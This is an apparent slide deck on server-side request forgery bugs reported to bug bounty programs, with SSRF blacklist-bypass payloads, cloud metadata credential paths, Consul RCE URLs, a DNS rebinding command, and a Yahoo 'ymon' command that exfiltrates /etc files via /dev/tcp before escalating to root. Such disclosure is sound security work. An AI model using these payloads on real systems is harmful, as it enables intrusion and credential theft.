Server-side browsing considered harmful
Context
Vectors
Targets
Blacklists
Bugs
Toolbox
Methodology

- Identify server-side browsing
  - Ideally with responses echoed back
- Identify protections (mostly blacklists)
  - Then bypass them
- Try to maximize impact during exploitation
  - Prefer RCE or Cloud pwnage to port scan
- Aka "creatively express my laziness"
Scope

- Covers only a few bug bounty programs
  - Facebook, Yahoo, CoinBase, PayPal, ... 
- Criteria
  - Interesting targets
  - Good security team
  - Fast reaction
  - Nice payouts
Context

Vectors

Targets

Blacklists

Bugs

Toolbox
Vectors

- Resources for developers
  - API explorer (Adobe Omniture - @riyazwalikar)
  - Debug of IPN aka Webhooks (payment world)

- Third-party data sources
  - Upload from URL (Dropbox, FastMail, ...)
  - Import of RSS feeds (YQL, Yandex, ...)

- Third-party authentication
  - OAuth, SAML, ... (used everywhere)
Vectors

• Core features of the target application
  • Google Translate can work from an URL
  • Prezi "Export to portable format"

• Mixed-content proxies
  • Hopscotch (FastMail), Camo (Github)
  • And also "imageproxy", "pilbox", ...

• Hosted code
  • Parse will execute your own JS code (YQL too!)
URL handlers

- **file://** is an easy win
  - May be reached via a HTTP redirect
  - **Java trick:** `file:///proc/self/cwd/..//config/`

- **Exotic handlers**
  - `gopher://`, `dict://`, `php://`, `jar://`, `tftp://`, ...
  - Look at the "SSRF Bible" if interested
URL handlers

- http:// et https:// are always available
  - Let's focus on these ones!
- Lots of possible targets
  - HTTP and HTTPS applications
  - Compatible services like Redis
  - Fingerprintable services
    - SMTP, SSH, ...
Destinations

- **Main goals**
  - Loopback
  - Multicast

- **Secondary goals**
  - Internal network aka LAN
  - Public IP space
Loopback

- Often hosts sensitive services
  - IP-based ACL bypassed by design
- Monitoring
  - Custom: Yahoo "ymon"
  - Open Source: Consul, Monit, ...
- Data repositories
  - Solr, Redis, memcached, ...
Loopback

- Depending on the architecture
- Loopback may not be the backend
  - But an outbound proxy
  - Shared? With who? In scope?
  - CoinBase & Proximo
The loopback idiosyncrasy

- Symptoms
  - Scanning using different features
  - Getting different results

- Probable causes
  - Partial proxying (YQL)
  - Specialized backends
Multicast

- Works for every EC2 or OpenStack VM
- Interesting targets
  - Always here
    - /latest/meta-data/{hostname,public-ipv4,...}
  - User data (startup script for auto-scaling)
    - /latest/user-data
  - Temporary AWS credentials
    - /latest/meta-data/iam/security-credentials/
Internal network

- Most of the time, there's a LAN
  - Except for some Cloud-only setups
- With non hardened services
  - Monitoring, stats, ...  
  - Databases, keystores, ...
- But you need the addressing plan
- Btw, are you sure 10/8 is in scope?
Public IP space

- Sometimes...
  - Public ACL != internal ACL
  - Private services on public IP
- Not so uncommon...
  - noc.parse.com => 54.85.239.3
  - Hosting a Go debugger
Context
Vectors
Targets
Blacklists
Bugs
Toolbox
Blacklists

- Only a few destinations to forbid
- So implementing blacklists is easy
  - Or not?
- Let's focus on
  - http://127.0.0.1/
Blacklists – DNS

- http://metadata.nicob.net/
  - Simple static A record
  - Free wildcard DNS service
- http://1ynrnhl.xip.io/
  - Encoded as base36(int('254.169.254.169'))
- http://www.owasp.org.1ynrnhl.xip.io/
  - If both whitelists and blacklists are used
Blacklists – HTTP redirects

- Redirect to the meta-data server
  - HTTP 302 to http://169.154.169.254/

- Static way
  - http://nicob.net/redir6a

- Dynamic way
Blacklists – HTTP redirects

- Redirects work IRL
  - Yahoo and Stripe were affected
- There's more than 302
  - Like 307 for POST to POST
- Test with a (multi-step) loop
  - May produce some distinctive errors
- Points to a redirect URL via the UI/API
  - Then make dynamic changes on your side
Blacklists – Alternate IP encoding

- Most common representation
  - Dotted decimal
    - 127.0.0.1, 169.254.169.254, ...
- But any HTTP client supports more
  - Browser, proxy, library, ...
Blacklists – Alternate IP encoding

- http://2852039166/
- http://7147006462/
- http://0xA9.0xFE.0xA9.0xFE/
- http://0xA9FEA9FE/
- http://0x41414141A9FEA9FE/
- http://0251.0376.0251.0376/
- http://0251.00376.000251.0000376/

Dotted decimal with overflow

- Dotless decimal
- Dotless decimal with overflow

Dotted hexadecimal

- Dotted hexadecimal
- Dotless hexadecimal
- Dotless hexadecimal with overflow

Dotted octal

- Dotted octal
- Dotted octal with padding
And you can mix them

- http://425.254.0xa9.0376/
- Decimal (w/ and w/o) overflow + hex + octal

Or convert only parts of the address

- http://0251.0xfe.43518/
- Octal + hex + 2-byte wide dotless decimal
Blacklists – IPv6

- http://[::169.254.169.254]/
  - IPv4-compatible address

- http://[::ffff:169.254.169.254]/
  - IPv4-mapped address
Blacklists – loopback only

  - Yes, it's a /8
- http://0.0.0.0/
  - Works surprisingly often...
- http://[::1]/ and http://[::]/
  - Moar IPv6
Blacklists – DNS TOCTOU

- **Step 1**
  - The backend server resolves the destination hostname
  - The backend server verifies the IP against a blacklist
  - The request is allowed to go to the outbound proxy

- **Step 2**
  - The proxy resolves the destination hostname
  - The response now points to a private IP address

- **Toolbox**
  - Dedicated sub-domain
  - Patched copy of DNSChef
Context
Vectors
Targets
Blacklists
Bugs
Toolbox
stripe
Unused feature – Stripe

  - Containing a (never called) Ajax function
  - Taking only one parameter named "image_url"

$.ajax({
    url: "https://checkout-api.stripe.com/color",
    data: { image_url: uri },
    type: "GET",
    dataType: "json"
})
Unused feature – Stripe

- Client-side blacklist
  - Not a security measure
  - Includes 127.0.0.0/24
- Server-side blacklist
  - Loopback, internal, multicast, ...
- But HTTP redirects are honored
Unused feature – Stripe

Reward: $500
Hidden vector – Prezi

Base64-encoded zipped XML document

POST /presentation/coh5yz42lam/ HTTP/1.1
Host: COH5yz42lam.prezi.com
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux 16.04; rv:52.0) Gecko/20100101 Firefox/52.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Cookie: cweTfKw=Cl355Vb6D7uJtfco2d3c2a22aDe075a;
prezi-auth=eJx6UmCQsA9_0t63uo51T0jgq1Iq14LO1jkeqyq4mto8cHsOZW8fQX5x4XK4a3t-(MmPhuKH77IpKZ4AcB-2yv94s-eMyS86ECYcVth
0crUpVpvaFfbvBu'PheGZ6QXGjy71bYV6CmW75VjQJJu-tIN7d6j3kN4JL6cPcmO52Ji1aXCY2zak6_0c_h3zE0CZ9s4isECN6x5zX0kE170nm75CY
W21bq0nD3kG2f1657C7yg515cO7p762hKsGm11131TSyGOKIF8U7Uq_flGycd11hmpF0N60y33F3Fryx371ppt4eS62KiKvJg6a_yIzqP25-0v70-0FD-0STNC0ST
FY3p1f5RMn6b11o6qjpsi4Yv413b6a7q2eFv04wvVvV255vuBFX55A3Sc1bMfr_p-3fR9Y1TfG/hXW9m;
optimizable=segments=V7Vw222127171127%7C%7C50%7c%7c9422direct=32%2C221217717722%3A22%7c%7c422direct%7c%7c22121791863%7c%7c37%7c%7c221212317%3A37;
optimizablyEndUser=6de1388677309910.15876807277503708;
optimizablyBucket=7VBN7D;
__utmz=15735245906.736942363.138567775.1.188;
__utmz=15735245906.736942363.138567775.1.188;
__utmz=15735245906.736942363.138567775.1.188;
__utmz=15735245906.736942363.138567775.1.188;
__utmz=15735245906.736942363.138567775.1.188;
__utmz=15735245906.736942363.138567775.1.188;
__utmz=15735245906.736942363.138567775.1.188;
__utmz=15735245906.736942363.138567775.1.188;
__utmz=15735245906.736942363.138567775.1.188;
__utmz=15735245906.736942363.138567775.1.188;
__utmz=15735245906.736942363.138567775.1.188;
__utmz=15735245906.736942363.138567775.1.188;
__utmz=15735245906.736942363.138567775.1.188;
__utmz=15735245906.736942363.138567775.1.188;
__utmz=15735245906.736942363.138567775.1.188;
Easier to manage with a custom Burp extension

```xml
<zuiprezi>
  <version>7</version>
  <zui-table>
    <settings>
      <autoplay>
        <delay>4000</delay>
      </autoplay>

      <bounds x="-6673.137984254578" y="-6648.69177352234" width="13346.275966">
        <aspectratio>off</aspectratio>
        <languages>
          <language>en</language>
        </languages>
        <mode type="normal"/>
      </settings>
      <object id="0_24309637" type="button" x="-24.446210732238907" y="0" r="0"
        <type>circle</type>
        <size>
          <w>800</w>
          <h>800</h>
        </size>
```
Each embedded object is referred by its URL

```xml
</object>
<object id="25_4" type="text" x="-73.3968993090606" y="-933.8352891706923" r="0" s="21.064301201505442" class="">
  <height>27.56755628</height>
  <width>390.9237704827601</width>
</object>
</object>
<object id="0_600365" type="image" x="3810.6162206265653" y="1293.318588433113" r="0" s="1.1137447377445328">
  <source w="1599" h="1280" bt="750.5" bl="1225.25"/>
  <url>http://0103.statice.prezi.com.s3.amazonaws.com/media/a/3/1/1190e092729322t39dsc9960b6714233e0d3.swf</url>
  <source/>
  <sourceUrl>car.swf</sourceUrl>
</object>
</object>
</ui-table>
<path>
  <eagle o="0_24309637"/>
</path>
<path>
  <eagle o="0_24309637"/>
</path>
<path>
  <eagle o="25_4"/>
</path>
</path>
<style type="text/css"> <![CDATA[
 @font-face
 {......
</style>
</body>
</html>
```

Hidden vector – Prezi

- Looking for some server-side processing
  - Feature "Export to PDF" => no
  - Feature "Export to ZIP" => yes
- Exploits
  - file:///etc/passwd ($2k)
  - http://169.254.169.254/ ($2k)
  - http://0177.0.0.1/ (IPy bypass, $500)
IPN – PayPal

- IPN testing interface for developers
- Existing blacklist
  - Bypassed with octal encoding
- Exploit
  - https://012.0110.0150.0036/
  - IPN sent successfully to 10.72.104.30
- Reward: $100
IPN – John Doe I

- Webhooks testing interface for developers
- No restriction on the destination

- Exploit
  - http://127.0.0.1:8500/v1/agent/self

- First fix bypassed
  - Using http://0.0.0.0:61315/

- Reward: $750
coinbase
IPN – CoinBase

- Callbacks testing interface for developers
- No restriction on the destination

- Exploit
    - Credentials for EC2, Heroku, ...
  - In fact, I pwned Proximo
    - Paid shared outbound proxy
- Reward: $5k (time to fix+reward < 24h, kudos!)
Mixed-content proxy – John Doe II

- Links to external images from SSL pages
- The perfect SSRF vector
  - Any method, any header, full response
- Exploit (root RCE)
  - https://xxx/http://0.0.0.0:8500/v1/agent/check/register
  - https://xxx/http://0.0.0.0:8500/v1/agent/checks
- Reward: $3k
YAHOO!
The YMON saga – Part 1

- YQL (and Pipes) can access external systems
- Existing blacklist (IP address + port)
  - Applied before following HTTP redirects
The YMON saga – Part 1

- Closed as WONTFIX

“Thank you for your submission to Yahoo! We are aware of this functionality on our site and it is working as designed. Please continue to send us vulnerability reports!”

- Reward: $0
The YMON saga – Part 2

- Port TCP/9466
  - 405 Method Not Allowed
  - WS using the *ymon* namespace

- Google for "*ymon* wsdl"
  - Found ONE question from 2005
The YMON saga – Part 2

NEVER HAVE I FELT SO CLOSE TO ANOTHER SOUL

AND YET SO HELPlessly ALONE

AS WHEN I GOOGLE AN ERROR

AND THERE’S ONE RESULT

A THREAD BY SOMEONE

WITH THE SAME PROBLEM

AND NO ANSWER

LAST POSTED TO IN 2003

WHO WERE YOU,

DENVERCODER?!

WHAT DID YOU SEE?!
Creating client from WSDL

pshvarts

(I'm new in SOAP)

I get some.wsdl file (from apache service). I tried creating SOAP client with .NET - trying to add Web Reference and get error like: "Custom tool error: Unable to import WebService/Schema. Unable to import binding..."

I thought may be wsdl file is not good enough (it was created with qsoap toolkit), so I paste-copy sample from http://www.w3.org/TR/2001/NOTE-wsdl-20010315#_wsdl (will paste below) and receive same error (qsoap give some warning on this file but create client).

Could you say what I'm doing wrong? Thanks ahead.

<?xml version="1.0" encoding="utf-8" ?>

c<definitions>

targetNamespace="http://autodevbsd1.dallas.corp.yahoo.com:9466/ymoon.wsdl"

xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/"
xmlns:SOAP-ENC="http://schemas.xmlsoap.org/soap/encoding/"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xmlns:xsd="http://www.w3.org/2001/XMLSchema"
xmlns:ns="urn:ymoon" xmlns:SOAP="http://schemas.xmlsoap.org/soap/
xmlns:WSDL="http://schemas.xmlsoap.org/wsdl/"
xmlns=http://schemas.xmlsoap.org/wsdl/">
<types>
The YMON saga – Part 2

- WSDL analysis
  - 450 lines, 11 methods
  - Including echo, exec, ping, version, ...

- The exec() method
  - Looks soooooly interesting
  - But limited to some Nagios plugins
The YMON saga – Part 2

- Abuse the check_log plugin to leak files
  - `check_log -F /etc/* -O /dev/tcp/1.2.3.4/3333 -q ''`

- Abuse the check_log plugin to make a copy of bash
  - `check_log -F /bin/bash -O /home/y/libexec/nagios/check_nt -q ''`

- Then execute bash with root privileges
  - `check_nt -c 'id;uname -a'`
The YMON saga – Part 2

Reward: $15k
The YMON saga – Part 3

- Hex encoding used to bypass both the IP and port checks
  - Access (again) the "ymon" WS on loopback
  - Execute code as "y" and not "root" anymore
- Need to find something new
  - Identify some (unpatched) "ymon" master servers
  - Pwn them like previously
- Fix for the IP check bypassed using octal encoding
  - Yes, that's the third bypass!
- Reward: $6,600
Parse
Less than two weeks after its acquisition by Facebook, Parse is announcing a new product. Parse is adding Parse Hosting to its suite of products that developers can use to be “server-free from beginning to end.”

- **Language:** JavaScript
- **Two offers**
  - "Cloud Code"
    - Authenticated calls only
  - "Parse Hosting"
    - Complex MVC applications
- **Outbound requests are allowed**
  - Through a farm of dedicated proxies
SSJS – Parse

- Private and multicast addresses are filtered
- No restriction on loopback
  - Access to Monit through a proxying app
- Internal services running on public IP space
  - Access to a Redis DB on "noc.parse.com"
- Note: external ACL are OK
**SSJS – Parse**

```
<table>
<thead>
<tr>
<th>Parameter</th>
<th>Value</th>
</tr>
</thead>
<tbody>
<tr>
<td>Name</td>
<td>gmond</td>
</tr>
<tr>
<td>Pid file</td>
<td>/var/un/gmond.pid</td>
</tr>
<tr>
<td>Status</td>
<td>Running</td>
</tr>
<tr>
<td>Monitoring mode</td>
<td>active</td>
</tr>
<tr>
<td>Monitoring status</td>
<td>Monitored</td>
</tr>
<tr>
<td>Start program</td>
<td>'/etc/init.d/ganglia-monitor start' timeout 30 second(s)</td>
</tr>
<tr>
<td>Stop program</td>
<td>'/etc/init.d/ganglia-monitor stop' timeout 30 second(s)</td>
</tr>
<tr>
<td>Existence</td>
<td>If doesn't exist 1 times within 1 cycle(s) then restart else if succeeded 1 times within 1 cycle(s) then alert</td>
</tr>
<tr>
<td>Data collected</td>
<td>Sat, 06 Sep 2014 11:47:53</td>
</tr>
<tr>
<td>Process id</td>
<td>19123</td>
</tr>
<tr>
<td>Parent process id</td>
<td>1</td>
</tr>
<tr>
<td>Process uptime</td>
<td>7d 17h 11m</td>
</tr>
<tr>
<td>Children</td>
<td>0</td>
</tr>
<tr>
<td>CPU usage</td>
<td>0.1% (Usage / Number of CPUs)</td>
</tr>
<tr>
<td>Total CPU usage (incl. children)</td>
<td>0.1%</td>
</tr>
<tr>
<td>Memory usage</td>
<td>0.2% [36528kB]</td>
</tr>
<tr>
<td>Total memory usage (incl. children)</td>
<td>0.2% [36528kB]</td>
</tr>
<tr>
<td>Pid</td>
<td>If changed 1 times within 1 cycle(s) then alert</td>
</tr>
<tr>
<td>Ppid</td>
<td>If changed 1 times within 1 cycle(s) then alert</td>
</tr>
</tbody>
</table>
```

Buttons:
- Start service
- Stop service
- Restart service
- Disable monitoring
### Request

```
POST /redis HTTP/1.1
Host: hunting.pacxapp.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 170

target=http://noc.parse.com:6379/spayload=FNlT7y5bl30tYxXo1X0aX5n3Xh4YxW1l4u15o7C0HsIFcLT+U4Y1AIFSANC18J7U8NCX85E3gW0NHF7J5T2F5C7Tk2FScy7C0HsIFcLTUP
```

### Response

```
ERR unknown command 'Via: '
ERR unknown command 'Cache-Control: '
ERR unknown command 'Connection: '
522
[---]Starting Pwnage...
69
[CMD] TIME
  #
  518
  1410099057
  56
  161945
  69
[CMD] INFO
51462
# Server
redis version:2.6.0
redis_git_sha1:00000000
redis_git_dirty:0
redis_mode:standalone
os:Linux 3.2.0-32-virtual x86_64
arch_bits:64
multiplexing api: epoll
gcc version:4.6.3
process id:4759
cpu id:69168934752a219a4123cdefc345088c96b5d90d
```

05/21/2015

Nicolas Grégoire
SSJS – Parse

- Internal services found on public IP
  - Ganglia, Monit, Nagios
  - Redis, MySQL
  - Go debugger for /usr/bin/shovel
- But no RCE...

- Reward: $20k
Context
Vectors
Targets
Blacklists
Bugs
Toolbox
Toolbox

- Script generating obfuscated IP addresses
- Public dynamic endpoint for HTTP(S) redirects
  - SSL certs are nearly never verified
- Web "bins"
  - http://httpbin.org/ (tons of options)
  - http://requestb.in/ (useful for blind requests)
- List of default ports used by internal and loopback services
Toolbox

- Burp Suite "search" feature
  - Basic criteria: "=http" and "url="
  - Will miss REST and XML parameters

- Dedicated DNS sub-domain
  - NS record pointing to a controlled server
  - Used for detection (now in Burp Suite) and blacklist evasion

- Patched copy of DNSChef
  - Takes multiple IP addresses and a resolution scheme
root# ./rebind.py --ip1=169.254.169.254 --ip2=<LEGIT_IP> --scheme=212 --interface=<YOUR_DNS_SRV>

[*] DNS Rebinder started on interface: <YOUR_DNS_SRV>


Toolbox

- Dynamic HTTP redirects
  - Easy to use with Burp Intruder
  - Using a basic RewriteRule

- Source
  - ^redir-([^/-]*)-([^/-]*)-(.*)$

- Destination
  - $1://$2/$3 [L]
The end...
Conclusion

- **Attackers**
  - Weird machines
  - Primitives, exploit chains, ...
- **Defenders**
  - If you only need Internet resources
    - Put your endpoint outside!
  - And good luck!
The end...